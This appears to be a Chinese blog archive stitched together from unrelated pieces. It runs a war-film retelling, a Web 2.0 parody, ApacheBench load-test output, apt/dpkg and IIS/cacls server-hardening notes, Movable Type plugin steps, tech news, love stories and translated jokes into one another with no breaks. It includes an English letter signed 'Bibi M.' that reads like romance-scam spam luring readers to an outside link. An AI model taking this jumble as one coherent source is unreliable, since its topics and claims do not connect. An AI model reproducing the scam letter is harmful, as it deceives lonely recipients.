第二天,四周静悄悄地,看不见一个人影了,儿子钻出了柜子,只听见一阵轰隆隆的声音,儿子睁大了眼睛,他的嘴巴也合不上了,来了一辆坦克,真正的坦克。
坦克上的叔叔将孩子抱上坦克,对他说:“孩子,我们胜利了,盟军胜利了。”
胜利的凯歌开始奏响,儿子戴着头盔,雄纠纠,气昂昂。“啊,妈妈,”孩子在被解救的人群中发现了他的妈妈。妈妈与儿子幸福地站在坦克上。
画外音:这就是我的父亲送我的生日礼物!
伟大的父爱!我忍不住潸然泪下。
字幕,灯亮。
感谢上帝,让我们生在这和平的年代,生在这太平盛世!让我们拥有这美丽人生!
全套Cisco的网络设备加SUN的服务器
建就建最酷的用户体验
免费注册帐户
每个帐户存储空间最少也得两个G
什么AJAX呀、Tag呀、Rss呀
能给他整地全部给他整上
社区附带一个VIP区,有牛人7x24小时蹲点帮你解惑
Blog上常驻一个叫Keso的家伙
留小辫儿,特大牛的那种
只要一打开页面,甭管有事没事都得用Skype跟人家说
“你丫赶紧给我注册!”
一口地道的京片子
倍儿有面子
网站里还要建一个wiki系统
全部翻译自维基百科
每天翻译量起码百兆计算吧
再建一个站内搜索
支持所有内容全文检索
文本呀、RSS呀、Blog呀,你要搜什么我给你找出什么
就是一个字——快
全站搜一次才用0.00001秒
在这里注册用户的不是CEO就是网络精英
你要是分不清Blog和WebLog
你都不好意思去TrackBack人家
你说这样的网站,VC会投多少?
我觉得怎么着也得两千万美金吧?
两千万美金?那是成本
四千万美金起
你别嫌贵,我还挑东家呢
你得研究VC的投资心理
能掏起两千万的主儿
根本不在乎再掏两千万
什么叫Blogger,你知道吗?
Blogger挑服务商都用最2.0的,不用最好的
所以,我们做web2.0的口号就是:
不求最好,但求最2
Usage: /usr/sbin/ab [options] [http[s]://]hostname[:port]/path
Options are:
-n requests Number of requests to perform
-c concurrency Number of multiple requests to make
-t timelimit Seconds to max. wait for responses
-p postfile File containg data to POST
-T content-type Content-type header for POSTing
-v verbosity How much troubleshooting info to print
-w Print out results in HTML tables
-i Use HEAD instead of GET
-x attributes String to insert as table attributes
-y attributes String to insert as tr attributes
-z attributes String to insert as td or th attributes
-C attribute Add cookie, eg. 'Apache=1234' (repeatable)
-H attribute Add Arbitrary header line, eg. 'Accept-Encoding: zop'
Inserted after all normal header lines. (repeatable)
-A attribute Add Basic WWW Authentication, the attributes
are a colon separated username and password.
-P attribute Add Basic Proxy Authentication, the attributes
are a colon separated username and password.
-X proxy:port Proxyserver and port number to use
-V Print version number and exit
-k Use HTTP KeepAlive feature
-d Do not show percentiles served table.
-S Do not show confidence estimators and warnings.
-g filename Output collected data to gnuplot format file.
-e filename Output CSV file with percentages served
-s Use httpS instead of HTTP (SSL)
-h Display usage information (this message)
ex: 要执行 1000 次的 connection, 20 次的 concurrent (并行,同时).
语法: ab -n 1000 -c 20 http://www.syxin.com/index.html
结果
Time taken for tests: 一共花费.(以上 1000 次共多久)
Requests per second: 每秒平均可以处理多少个 connection.
# ab -n 100000 -c 200 http://www.syxin.com/index.html
This is ApacheBench, Version 2.0.41-dev <$Revision: 1.141 $> apache-2.0
Copyright (c) 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/
Copyright (c) 1998-2002 The Apache Software Foundation, http://www.apache.org/Benchmarking www.syxin.com (be patient)
Completed 10000 requests
Completed 20000 requests
Completed 30000 requests
Completed 40000 requests
Completed 50000 requests
Completed 60000 requests
Completed 70000 requests
Completed 80000 requests
Completed 90000 requests
Finished 100000 requests
Server Software: Apache/2.0.54
Server Hostname: www.syxin.com
Server Port: 80Document Path: /index.htm
Document Length: 207 bytesConcurrency Level: 200
Time taken for tests: 34.889229 seconds
Complete requests: 100000
Failed requests: 0
Write errors: 0
Non-2xx responses: 100013
Total transferred: 40805304 bytes
HTML transferred: 20702691 bytes
Requests per second: 2866.21 [#/sec] (mean)
Time per request: 69.778 [ms] (mean)
Time per request: 0.349 [ms] (mean, across all concurrent requests)
Transfer rate: 1142.13 [Kbytes/sec] receivedConnection Times (ms)
min mean[+/-sd] median max
Connect: 0 17 277.5 0 20997
Processing: 4 50 281.2 32 25913
Waiting: 4 49 280.1 31 25912
Total: 10 67 436.2 32 28912Percentage of the requests served within a certain time (ms)
50% 32
66% 35
75% 67
80% 69
90% 77
95% 79
98% 81
99% 127
100% 28912 (longest request)
中文名称:橘子郡男孩第二季
英文名称:THE O.C. SEASON2
资源类型:HDTVRip
版本:[外挂中文字幕/更新完毕24集/]LOL
发行时间:2005年
演员:Benjamin McKenzie .... Ryan Atwood
Adam Brody .... Seth Cohen
Mischa Barton .... Marissa Cooper
Peter Gallagher .... Sanford "Sandy" Cohen
Kelly Rowan .... Kirsten Cohen
Tate Donovan .... James "Jimmy" Cooper
Chris Carmack .... Luke Ward [eps 2-24, guest otherwise]
Rachel Bilson .... Summer Roberts [eps 14-present, guest otherwise]
Melinda Clarke .... Julie Cooper Nichol [eps 14-present, guest otherwise]
Alan Dale .... Caleb Nichol [eps 28-present, guest otherwise]
制作团队:LOL【原 名】:THE O.C.
【译 名】:橘子郡男孩
【类 型】:剧情/生活
【片 长】:每集45分钟左右
【首 播】:2004年11月7日
【国 家】:美国
【语 言】:英语
【字 幕】:外挂中英文字幕
【文 件】:每集350M左右
【内容简介 】:
The O.C is a fish out of water story.故事从一个名叫Ryan的青年开始。Ryan是一个居住的bankstreet的青年,父母离异;哥哥总是在街上混。一日,哥哥教他偷车的时候,被警察抓住。Ryan在监狱遇见了了他的public defender, andy Cohen. Sandy是一个家住oc的律师,他对于改正问题少年已经疲倦了。后来,为了这个案子,Sandy留给了Ryan名片。
Ryan还是被他妈妈接出了监狱。但是Ryan母亲整日酗酒、和她的boyfriend鬼混,对Ryan大吼大叫。Ryan终于离开家,但是他孤独无助,只能向律师Sandy打电话。Sandy做出决定,要把Ryan接到他们家。但是这却得到了Sandy的妻子的反对。出于无奈,妻子只好把游泳之旁边的客房为ryan准备。就这样,Ryan从一个贫穷的家庭来到了一个美国白人上层居住区。故事就是这样开始了。
#cat proc/cpuinfo
普通 APT 用法
apt-get install <package>
下载 <package> 以及所有倚赖的包裹,同时进行包裹的安装或升级。如果某个包裹被设置了 hold (停止标志,就会被搁在一边(即不会被升级)。更多 hold 细节请看下面。apt-get remove [--purge] <package>
移除 <package> 以及任何倚赖这个包裹的其它包裹。
--purge 指明这个包裹应该被完全清除 (purged) ,更多信息请看 dpkg -P。apt-get update
升级来自 Debian 镜像的包裹列表,如果你想安装当天的任何软件,至少每天运行一次,而且每次修改了
/etc/apt/sources.list 后,必须执行。apt-get upgrade [-u]
升级所以已经安装的包裹为最新可用版本。不会安装新的或移除老的包裹。如果一个包改变了倚赖关系而需要安装一个新的包裹,那么它将不会被升级,而是标志为 hold。apt-get update 不会升级被标志为 hold 的包裹 (这个也就是 hold 的意思)。请看下文如何手动设置包裹为 hold。我建议同时使用 '-u' 选项,因为这样你就能看到哪些包裹将会被升级。apt-get dist-upgrade [-u]
和 apt-get upgrade 类似,除了 dist-upgrade 会安装和移除包裹来满足倚赖关系。因此具有一定的危险性。apt-cache search <pattern>
搜索满足 <pattern> 的包裹和描述。apt-cache show <package>
显示 <package> 的完整的描述。apt-cache showpkg <package>
显示 <package> 许多细节,以及和其它包裹的关系。dselect
console-apt
aptitude
gnome-apt
APT 的几个图形前端(其中一些在使用前得先安装)。这里 dselect 无疑是最强大的,也是最古老,最难驾驭。
普通 Dpkg 用法
dpkg -i <package.deb>
安装一个 Debian 包裹文件,如你手动下载的文件。dpkg -c <package.deb>
列出 <package.deb> 的内容。dpkg -I <package.deb>
从 <package.deb> 中提取包裹信息。dpkg -r <package>
移除一个已安装的包裹。dpkg -P <package>
完全清除一个已安装的包裹。和 remove 不同的是,remove 只是删掉数据和可执行文件,purge 另外还删除所有的配制文件。dpkg -L <package>
列出 <package> 安装的所有文件清单。同时请看 dpkg -c 来检查一个 .deb 文件的内容。dpkg -s <package>
显示已安装包裹的信息。同时请看 apt-cache 显示 Debian 存档中的包裹信息,以及 dpkg -I 来显示从一个 .deb 文件中提取的包裹信息。dpkg-reconfigure <package>
重新配制一个已经安装的包裹,如果它使用的是 debconf (debconf 为包裹安装提供了一个统一的配制界面)。你能够重新配制 debconf 它本身,如你想改变它的前端或提问的优先权。例如,重新配制 debconf,使用一个 dialog 前端,简单运行:dpkg-reconfigure --frontend=dialog debconf (如果你安装时选错了,这里可以改回来哟:)
echo "<package> hold" | dpkg --set-selections
设置 <package> 的状态为 hlod (命令行方式)dpkg --get-selections "<package>"
取的 <package> 的当前状态 (命令行方式)支持通配符,如:
Debian:~# dpkg --get-selections *wine*
libwine hold
libwine-alsa hold
libwine-arts hold
libwine-dev hold
libwine-nas hold
libwine-print hold
libwine-twain hold
wine hold
wine+ hold
wine-doc hold
wine-utils hold例如:
大家现在用的都是 gaim-0.58 + QQ-plugin,为了防止 gaim 被升级,我们可以采用如下方法:方法一:
Debian:~# echo "gaim hold" | dpkg --set-selections
然后用下面命令检查一下:
Debian:~# dpkg --get-selections "gaim"
gaim hold
现在的状态标志是 hold,就不能被升级了。如果想恢复怎么办呢?
Debian:~# echo "gaim install" | dpkg --set-selections
Debian:~# dpkg --get-selections "gaim"
gaim install
这时状态标志又被重置为 install,可以继续升级了。同志们会问,哪个这些状态标志都写在哪个文件中呢?
在 /var/lib/dpkg/status 里,你也可以通过修改这个文件实现 hold。有时你会发现有的软件状态标志是 purge,不要奇怪。
如:事先已经安装了 amsn,然后把它卸了。
apt-get remove --purge amsn
那么状态标志就从 install 变成 purge。方法二:
在/etc/apt 下手动建一个 preferences 文件
内容:
Package: gaim
Pin: version 0.58*
保存
更详细内容请看:
http://linuxsir.com/bbs/showthread.php?s=&threadid=22601dpkg -S <file>
在包裹数据库中查找 <file>,并告诉你哪个包裹包含了这个文件。(注:查找的是事先已经安装的包裹)
从源码建立 deb packagesapt-get source [-b] <package> 下载一个源码的包并解开。你必须在你的 /etc/apt/sources.list 文件里写入一条 deb-src 的记录才能完成这项工作。如果你输入了一个 -b 参数,并且是以 root 的身份,deb 包会被自动的创建。apt-get build-dep <package> 自动下载并安装通过源码创建 <package> 时需要的包。只有apt 0.5以上版本才支持这个功能。现在woody和以上版本包含了这个功能。如果你使有一个旧版本的apt,查找依赖性最简单的方法是查看源码包中 debian/control 这个文件,注意这个路径是相对的,是包内的路径。普通的用法,结合 apt-get source -b,例子 (as root):apt-get build-dep <package>apt-get source -b <package>会下载源码包,建立依赖性,然后尝试编译源码。dpkg-source -x <package.dsc>如果你手工下载了一个程序的源码包,其中包含了几个类似 .orig.tar.gz ,.dsc ,以及 .diff.gz 之类的文件,那么你就可以对 .dsc 文件使用这个命令来 unpack 源码包。dpkg-buildpackage从 Debian 源码树建立一个 deb 包。你必须在 source tree 的主目录才能生效。例如:dpkg-buildpackage -rfakeroot -uc -b这里 '-rfakeroot' 指定命令使用 fakeroot 程序来模仿 root 权限 [来实现所有者(ownership)目的],'-uc' 表示 "Don't cryptographically sign the changelog",'-b' 代表只建立二进制包。debuild一个快速打包脚本类似 dpkg-buildpackage,能自动的识别是否使用 fakeroot,同时为你运行 lintian 和 gpg。修正倚赖关系dpkg --configure --pending如果 dpkg 在 apt-get install upgrade dist-uptradeing 的时候出错退出,尝试使用此命令来配置已经 unpack 的包。然后再用 apt-get install,upgrade,或者 dist-upgrade -f,然后再用 apt-get install,upgrade,或者 dist-upgrade。可能会重复多次,这样通常可以解决大多数的依赖性问题。(同时,如果提示由于某种原因需要某个特定的包裹,你可以常识安装或卸载这个包)apt-get install -fapt-get upgrade -fapt-get dist-upgrade -f 尝试修正上述过程中出现依赖性关系注意 apt-get install -f 不需要 <package> 作为参数。
@echo off
echo "虚拟主机C盘权限设定"
echo "Author:an85.com"
cd/
cacls "%SystemDrive%" /r "everyone" /e
cacls "%SystemRoot%" /r "everyone" /e
cacls "%SystemRoot%/Registration" /r "everyone" /e
cacls "%SystemDrive%/Documents and Settings" /r "everyone" /e
cd/
cacls "%SystemDrive%" /r "users" /e
cacls "%SystemDrive%/Program Files" /r "users" /e
cacls "%SystemDrive%/Documents and Settings" /r "users" /e
cacls "%SystemRoot%/addins" /r "users" /e
cacls "%SystemRoot%/AppPatch" /r "users" /e
cacls "%SystemRoot%/Connection Wizard" /r "users" /e
cacls "%SystemRoot%/Debug" /r "users" /e
cacls "%SystemRoot%/Driver Cache" /r "users" /e
cacls "%SystemRoot%/Help" /r "users" /e
cacls "%SystemRoot%/IIS Temporary Compressed Files" /r "users" /e
cacls "%SystemRoot%/java" /r "users" /e
cacls "%SystemRoot%/msagent" /r "users" /e
cacls "%SystemRoot%/mui" /r "users" /e
cacls "%SystemRoot%/repair" /r "users" /e
cacls "%SystemRoot%/Resources" /r "users" /e
cacls "%SystemRoot%/security" /r "users" /e
cacls "%SystemRoot%/system" /r "users" /e
cacls "%SystemRoot%/TAPI" /r "users" /e
cacls "%SystemRoot%/Temp" /r "users" /e
cacls "%SystemRoot%/twain_32" /r "users" /e
cacls "%SystemRoot%/Web" /r "users" /e
cacls "%SystemRoot%/WinSxS" /r "users" /e
cacls "%SystemRoot%/system32/administration" /r "users" /e
cacls "%SystemRoot%/system32/Cache" /r "users" /e
cacls "%SystemRoot%/system32/CatRoot2" /r "users" /e
cacls "%SystemRoot%/system32/Com" /r "users" /e
cacls "%SystemRoot%/system32/config" /r "users" /e
cacls "%SystemRoot%/system32/dhcp" /r "users" /e
cacls "%SystemRoot%/system32/drivers" /r "users" /e
cacls "%SystemRoot%/system32/export" /r "users" /e
cacls "%SystemRoot%/system32/icsxml" /r "users" /e
cacls "%SystemRoot%/system32/lls" /r "users" /e
cacls "%SystemRoot%/system32/LogFiles" /r "users" /e
cacls "%SystemRoot%/system32/MicrosoftPassport" /r "users" /e
cacls "%SystemRoot%/system32/mui" /r "users" /e
cacls "%SystemRoot%/system32/oobe" /r "users" /e
cacls "%SystemRoot%/system32/ShellExt" /r "users" /e
cacls "%SystemRoot%/system32/wbem" /r "users" /e
cacls "%SystemRoot%" /g iis_wpg:r /e
cacls "%SystemDrive%/Program Files/Common Files" /g iis_wpg:r /e
cacls "%SystemRoot%/Help" /g iis_wpg:c /e
cacls "%SystemRoot%/IIS Temporary Compressed Files" /g iis_wpg:c /e
cacls "%SystemRoot%/Offline Web Pages" /g iis_wpg:c /e
cacls "%SystemRoot%/System32" /g iis_wpg:c /e
cacls "%SystemRoot%/Tasks" /g iis_wpg:c /e
cacls "%SystemRoot%/Temp" /g iis_wpg:c /e
cacls "%SystemRoot%/Web" /g iis_wpg:c /e
cacls "%SystemRoot%/Assembly" /g iis_wpg:c /e
cacls "%SystemRoot%/Microsoft.NET" /g iis_wpg:c /e
cacls "%SystemDrive%/Program Files/Network Associates" /g iis_wpg:r /e
cacls "%SystemRoot%/temp" /g users:c /e
TITLE: Welcome to NanoBlogger 3.3!
AUTHOR: n1xt3r
DATE:
DESC: nanoblogger welcome message
FORMAT: raw
-----
BODY:
<p>The basic syntax is: <code>nb [-b blog_dir] [options]</code></p>
<b>How to ...</b>
<ul>
<li>create new weblog (directory) = <code>nb -b [blog_dir] -a</code></li>
<li>create new entry = <code>nb -a</code></li>
<li>create new category = <code>nb -c <em>new</em> -a</code></li>
<li>create new entry with category = <code>nb -c [cat_id] -a</code></li>
<li>list current entries = <code>nb -l [current|all]</code></li>
<li>list categories = <code>nb -l <em>cat</em></code></li>
<li>list entries by category = <code>nb -c [cat_id] -l [current|all]</code></li>
<li>edit entry = <code>nb -e [entry_id]</code></li>
<li>move entry to category = <code>nb -c [cat_id] -m [entry_id]</code></li>
<li>delete entry = <code>nb -d [entry_id]</code></li>
<li>delete category = <code>nb -c [cat_id] -d <em>cat</em></code></li>
<li>delete entry from category = <code>nb -c [cat_id] -d [entry_id]</code></li>
<li>draft entry = <code>nb -E [draft_file]</code></li>
<li>import draft as entry = <code>nb -F [draft_file] -a</code></li>
<li>force update of weblog files = <code>nb -u [current|all|main]</code></li>
</ul>
<p>
Thank you for trying NanoBlogger. Please direct comments and suggestions to the <a href="http://groups.yahoo.com/group/nanoblogger/">mailing list</a> or submit a bug report to the <a href="http://sourceforge.net/tracker/?atid=635240&group_id=103576&func=browse">project page</a> on sourceforge.net.
</p>
END-----

她是城市的白领,他是城市的扛包工人。高中毕业后,两个人划着完全不同的青春轨迹。可是,他们依然保持着恋人的关系。
仅仅是保持着。白天,她在公司里喝正宗的雀巢咖啡,下班后,她吃他买来的廉价的冰棍;中午,她品味着公司里精致的饭菜,晚上,他带她去脏兮兮的饭馆吃并不正宗的兰州拉面。她认为,自己的生活太不协调。这样的恋情,从开始的那一天,便仿佛注定了某一种结局。他每天去接她,然后送到她所居住的白领公寓的电梯口,道一声晚安,匆匆离去。那天她突然想撒娇,她说背我上去吧!他看了看电梯,电梯运转良好,然后他回头,说,好。他没问理由。他背着她,从一楼开始,慢慢向上爬。爬到一半他累了,他说休息一下好不好,她突然来了兴致,娇嗔着说不行。他就真的没有休息,一直爬到她的寓所所在的13层。她问他累不累,他说累,比扛包累。她知道他说的是真的,她有了一丝感动。但他们还是分手了。因为有时候,仅有感动,并不能够将爱情维持。城市里并不缺少一个扛包工人,所以他回到乡下。他偶尔会给她打来电话,告诉她他现在种着大棚,挣了一些钱。她听着,淡淡的。那时她已经有了新的男友,门当户对的那种。然后某一天,他又一次打来电话,说他攒够了五千元钱,这些钱,可以在乡下娶老婆了。她发现,突然间,自己的眼角,竟然有些湿润。她新交的男友也是每天接她下班,送她至电梯,很绅士地道一声晚安,然后离去。某一天她说,背我上去吧。男友说,行。那时电梯停在一楼,男友背起她,飞快地冲进电梯。她伏在男友的背上,与电梯一起爬升,心却在飞快地下沉。男友嘿嘿笑着,好像对自己这个带 着幽默的小伎俩很是满意。那一天,她没有接受男友照例的吻别。她给他打电话,她问他那五千块钱花出去了没有,然后她便发现自己泪流满面。他说花出去了。她扔掉了电话,那一刻,她觉得自己正在失去整个世界。几天后她在电梯门口看到他,他的手里拿着一枚戒指,很高档。他把戒指扬了扬,说,五千块。她乐了。然后她开始哭泣,哭得一塌糊涂。她说背我上去?他说好。然后他背着她,一步步爬着楼梯。途中他累了,他说这次让不让休息,她说不行不行。他就沉默着,一直爬到了13层。这时她想,如果一个男人,肯背着一个女人爬最漫长的楼梯,甚至可以不问理由,那么,这个女人,还有什么理由拒绝他呢?她给了他一个长久热烈的吻。
据《纽约时报》报道,硬盘业巨头希捷公司昨天与竞争对手迈拓公司达成协议,将以19亿美元的高价(以股票形式支付)将后者收归帐下。这笔交易已经得到双方董事会的确认,预计24小时之内就会正式对外宣布。此次交易完成后,原希捷投资者将拥有新公司84%的股份,迈拓一方拥有16%。根据交易,每股迈拓股票折换为0.37股希捷股票(目前希捷和迈拓的股价分别为$7.25和$4.52)。希捷公司CEO William D. Watkins将执掌合并后的新公司,迈拓CEO C. S. Park也会在新公司董事会中占有一席之地。这次收购对希捷而言不仅仅是对产品线的丰富,更可以利用其生产工艺将迈拓硬盘的价格降低到一个更低的水平。据参加谈判的一名高官称,希捷希望籍此每年节省3亿美元。目前希捷和迈拓两公司的经营状况可谓是悲喜两重天。在今年7月结束的上一个财年中,希捷总收入75.5亿美元,税后净利润7.07亿美元。同时迈拓的总收入已经从2003年度的40.8亿美元下滑到上一年度的37.9亿美元,同时1.28亿美元的净利润也变成了1.82亿美元的亏损。迈拓在最近五个季度有四个在亏损,最近三年中有两年在亏损。2004年的迈拓在桌面硬盘的生产和设计问题面临了巨大的挑战,公司经营每况愈下,也导致了管理层的变动。尽管新管理层放言迈拓将会复苏,但爆出的产品问题导致其十月份股价又下跌了5%。不过在今年前三个季度中,迈拓的收入已经增加了6%,毛利率已经有所改善,亏损也有减少。目前迈拓的主要目关放在企业客户方面。目前数字存储市场的需求正在急剧升温,大体积的音频视频文件对存储设备提出了更高的要求,而快速发展的硬盘技术在其它存储设备面前继续保持着高容量、低价格的优势。希捷对迈拓的收购正是适应了目前这一形势。收购迈拓后的希捷在硬盘市场的霸主地位无疑将更加难以企及,但也会在投资者之间引发一些怀疑。希捷公司成立于1979年,是最早生产桌面电脑硬盘的厂商,目前已经成为业界的领头羊,并不断推进更小型硬盘和新存储技术的发展,而摆在迈拓面前的最大问题是,它已经不是移动硬盘领域的重要棋子。希捷能否顺利消化迈拓并为己所用,还有待时间和市场的考验。
1、安装补丁
安装好操作系统之后,安装上SP1,然后点击开始→Windows Update,安装所有的关键更新。2、安装杀毒软件
虽然杀毒软件有时候不能解决问题,但是杀毒软件避免了很多问题。作为服务器使用,不能使用类似瑞星、kv、卡巴的单机版;而应该使用专门的服务器版。这个国内的似乎都没有做到。国外的有sav,macfee企业版和卡巴企业版。我一直使用sav企业版。不要指望杀毒软件杀掉所有的木马,因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查杀。3、设置端口保护和防火墙、删除默认共享,关闭不需要的服务。这些网上有,就不写了
1、权限设置的原理
WINDOWS用户,在WINNT系统中大多数时候把权限按用户(組)来划分。在【开始→程序→管理工具→计算机管理→本地用户和组】管理系统用户和用户组。
NTFS权限设置,请记住分区的时候把所有的硬盘都分为NTFS分区,然后我们可以确定每个分区对每个用户开放的权限。【文件(夹)上右键→属性→安全】在这里管理NTFS文件(夹)权限。
IIS匿名用户,每个IIS站点或者虚拟目录,都可以设置一个匿名访问用户(现在暂且把它叫“IIS隔离用户”),当用户访问你的网站的.ASP文件的时候,这个.ASP文件所具有的权限,就是这个“IIS隔离用户”所具有的权限。
2、权限设置的思路
每个文件夹都需要有单独的用户,并且只针对该用户访问。该用户为系统用户,且只属于隔离用户组
1、所有磁盘之只留下system和administator的完全权限,其余的全部删除。注意,去掉继承选项。2、修改系统属性,将系统的临时文件移动到c盘以外的地方。然后赋予system和administator的完全权限,同时添加虚拟用户的修改权限。3、具体对文件夹进行配置。假设我们的d盘存放web网站。那么,d盘的权限只有system和administartor完全控制,其余全部去掉。比如:需要增加一个名为xxx的网站,a、创建用户组 虚拟用户。隶属于,无。创建用户xxx。隶属于 虚拟用户。删除user组。设定密码。同时设定不可修改密码,密码永不过期b、在d盘下新建名称为xxx的文件夹。添加xxx的权限。注意,不能添加写入和修改。正常情况下应该是读取、列表权限c、找到xxx网站的数据库data.mdb。设置xxx权限修改。d、找到xxx网站上传文件夹upload,设置xxx权限为修改e、在iis中增加虚拟目录xxx。设置为纯脚本。同时,删除除asp,asa之外的所有解析。f、在iis中设置虚拟目录xxx的访问权限为允许匿名用户,但不使用默认,用户设置为刚才的xxx,输入密码g、在iis中找到data.mdb以及upload目录,设置执行权限为无。
Hi my Dear!I want to start my first letter from a question: "Is it possible to be happy without LOVE?"
I think that you will agree with me if the answer will be "NO WAY". Love is the most beautiful and exciting thing that may happen between man and woman! It inspires us only for doing positive things towards each other.
One very famous writer said: "The beauty will rescue the world" i agree with his words but still i would add :
" LOVE and Beauty will rescure the world".
I hope you agree with me that Love is a big notion.
There's love to God, to Mother, to a child to the country where you were born, and there's love that joins a man and woman for all their life. That is the LOVE i'm looking for! And i'm seeking for the man who is also eager to have this life long adventure full of surprises and new experience we can share together! Will you join me for this trip?
I do realise that it should be very difficult to say "Yes" from the first letter having no idea about me.
That's why i just offer to get to know each other better though correspondence that will help us to reveal many things about each other whether we mach perfectly or not. In addition you can look at my pictures and read some info about me here http://miXSAHB.i-looking-for-you.com/
I hope you'll like what you see and read there.
Well closing my first letter to you i just want to thank you for reading it and i really hope that you'll share my point of view on what i said above. I do really hope that you'll answer me soon.good-bye,
Bibi M.
1. 下载SCode1.0;
2. 将压缩包中plugins目录下的SCode解压到MT的插件目录plugins中;
3. 登录MT3.2管理后台,在主菜单右键点击plugins,进入插件管理;
4. 在插件管理列表中找到SCode,点击Show Settings,设置SCode参数:
Temp Directory:临时目录。这里要写服务器上的绝对路径
Length:验证码长度,默认是6位
Max Temp File:临时文件夹中最多允许多少个临时文件
Action:当验证码出错时怎么处理评论5. 切换到Blog的Setting目录,选择Plugins,在插件列表中找到SCode,点击Show Settings,勾选“Enable Security Code (CAPTCHA) checking on this blog.”以打开验证码服务;
<label for="scode">Security Code:</label><br />
<input type="hidden" id="code" name="code" value="<$MTSecurityCode$>" />
<img border="0" src="<$MTCGIPath$><$MTSecurityImage$>?code=<$MTSecurityCode$>"><br />
<input id="scode" name="scode" />
cpan
install gb
失败
tar -xzvf gd-2.0.33.tar.gz
cd gd-2.0.33
./configure
make
make install
tar -xzvf GD-2.30.tar.gz
cd GD-2.30
perl Makefile.PL
make
make install
页面重建正常。但验证码无法显示
再看看编译,原来编译gd的时候,发现原来png没有被编译。只能重新编译gd了。。
首先apt-get install libpng-dev
重新执行./configure
make
make install
cd gd-2.0.33
./configure
apt-get install libpng-dev
然后重新执行上面的编译,注意,2个东西都要重新编译,就ok了
MT-Blacklist was once an indispensible part of any Movable Type installation. For years, it kept us sane and did a better job than any other solution in keeping spammers at bay.
But then, came Movable Type 3.2. Movable Type 3.2 includes a sophisticated pluggable feedback rating framework that provides for a completely customized spam-fighting solution and a Junk folder that catches everything marked as Junk. What's more, Brad Choate's SpamLookup has been enhanced to work with the framework, had a number of new features added and is bundled with Movable Type 3.2.
Here's what to do:Get Movable Type 3.2
Remove ALL traces of MT-Blacklist from your plugins folder
Spend more time blogging and less time worrying about spam and server load
With these tools in place, the burden of spam has been completely eliminated from the Movable Type experience. You receive the comments and TrackBacks that you want, and the spam flows entirely into MT 3.2's Junk folder and is auto-deleted after a short time.
For this reason, MT-Blacklist is no longer needed. I know that many of you spam-weary MT users can't imagine living without MT-Blacklist, but believe me, you don't need it. It takes infinitely more effort to maintain your blacklist, it's less accurate and effective and with Movable Type 3.2's plugin API, it's nothing more than a poor hack.
I thank you all for your support over this time and it's my honor to have helped all of you keep your sanity and your blogs spam-free(ish).
<html>
<head>
<title></title>
<meta content="text/html; charset=gb2312" http-equiv=Content-Type>
---------------------------------------------------------------------------
<frameset border=false frameborder=0 framespacing=0 rows=0,* >
---------------------------------------------------------------------------
<frame marginheight=0 marginwidth=0 name=refresh noResize scrolling=no src="blank.htm">
<frame name=hl8 src="default.asp" scrolling="auto" noresize >
<noframes>
<body topmargin="0" leftmargin="0"><!--msnavigation-->
<p>This page uses frames, but your browser doesn't support them.</p>
</body>
</noframes></frameset></html>
X:\Program Files\Sony Ericsson\Update Service\db\13740270\blob_db\data目录下,有150个文件
。


AT&T Inc.和BellSouth Corp.目前正在游说美国国会给予它们将Internet分为两层的权利,此举成功的话,电信运营商自己的网络服务将比其竞争对手更快更有效率。这样的提议显然将遭到Google、雅虎、时代华纳和微软等公司的强烈抗议。他们害怕将互联网分层后,电信公司对一些目前正高速发展的业务拥有过高的控制权。而上面提到的业务主要就是指视频服务。许多大型电信公司目前都致力于在互联网上传播广播级电视节目,但目前即使采用高速宽带Internet,在线播放视频的效果和流畅度仍不甚理想。而AT&T和BellSouth发起的提议将允许电信运营商为客户提供高级Internet视频服务,而其他竞争对手的视频服务只能以低速传输。当然,AT&T等公司要向那些使用高速Internet的用户以及视频服务商收取额外费用。也就是说,如果雅虎等公司想要向AT&T用户提供高品质在线视频,就必须向AT&T交钱。将Internet宽带服务分为“普通”和“额外付费”两种类型的提议引起了美国国会的激烈辩论。上个月众议院召开听证会讨论此问题,该法案预计将于明年早些时候得出最终结果。Google和Amazon.com、eBay等公司极力反对该提案,他们担心今后不得不向电信公司支付数百万美元的高速Internet使用费。另外,他们还认为许多小型的互联网公司无力支付这样的费用,用户的选择面将变窄。“互联网的模式是运营商无法干涉客户的选择。”Google华盛顿政策专员Alan Davidson说,“部分最有价值的新服务将不具竞争性。”而电信公司则认为它们已经在建立高速光纤网络上投入了数十亿美元,因此也有权让自己的服务享受Internet大部分带宽,并向其他享受高速连接的公司或个体收取费用。Hmm,中国电信一定也非常欢迎该提案。
Money is not everything. There’s MasterCard & Visa.
钞票不是万能的, 有时还需要信用卡
One should love animals. They are so tasty.
每个人都应该热爱动物, 因为它们很好吃
Save water. Shower with your girlfriend.
要节约用水, 尽量和女友一起洗澡
Love the neighbor. But don’t get caught.
要用心去爱你的邻居, 不过不要让她的老公知道
Behind every successful man, there is a woman.
And behind every unsuccessful man, there are two.
每个成功男人的背后, 都有一个女人. 每个不成功男人的背后, 都有两个
Every man should marry. After all, happiness is not the only thing in life.
再快乐的单身汉迟早也会结婚, 幸福不是永久的嘛
The wise never marry, and when they marry they become otherwise.
聪明人都是未婚的, 结婚的人很难再聪明起来
Success is a relative term. It brings so many relatives.
成功是一个相关名词, 他会给你带来很多不相关的亲戚 (联系)
Never put off the work till tomorrow what you can put off today.
不要等明天交不上差再找借口, 今天就要找好
Love is photogenic. It needs darkness to develop.
爱情就象照片, 需要大量的暗房时间来培养
Children in backseats cause accidents. Accidents in backseats cause children.
后排座位上的小孩会生出意外, 后排座位上的意外会生出小孩
Your future depends on your dreams. So go to sleep.
现在的梦想决定着你的将来, 所以还是再睡一会吧
There should be a better way to start a day than waking up every morning.
应该有更好的方式开始新一天, 而不是千篇一律的在每个上午都醒来
Hard work never killed anybody. But why take the risk?
努力工作不会导致死亡! 不过我不会用自己去证明
Work fascinates me. I can look at it for hours!
工作好有意思耶! 尤其是看着别人工作
God made relatives; Thank God we can choose our friends.
神决定了谁是你的亲戚, 幸运的是在选择朋友方面他给了你留了余地
When two’s company, three’s the result!
两个人的状态是不稳定的, 三个人才是!
A dress is like a barbed fence. It protects the premises without restricting the view.
服饰就象铁丝网, 它阻止你冒然行动但并不妨碍你尽情的观看
The more you learn, the more you know, the more you know, and the more you forget.
The more you forget, the less you know. So why bother to learn.
学的越多, 知道的越多, 知道的越多, 忘记的越多, 忘记的越多, 知道的越少, 为什么学来着
参数w表示加宽显示的命令行,参数w可以写多次,通常最多写3次,表示加宽3次,这足以显示很长的命令行了。
例如:ps -auxwww
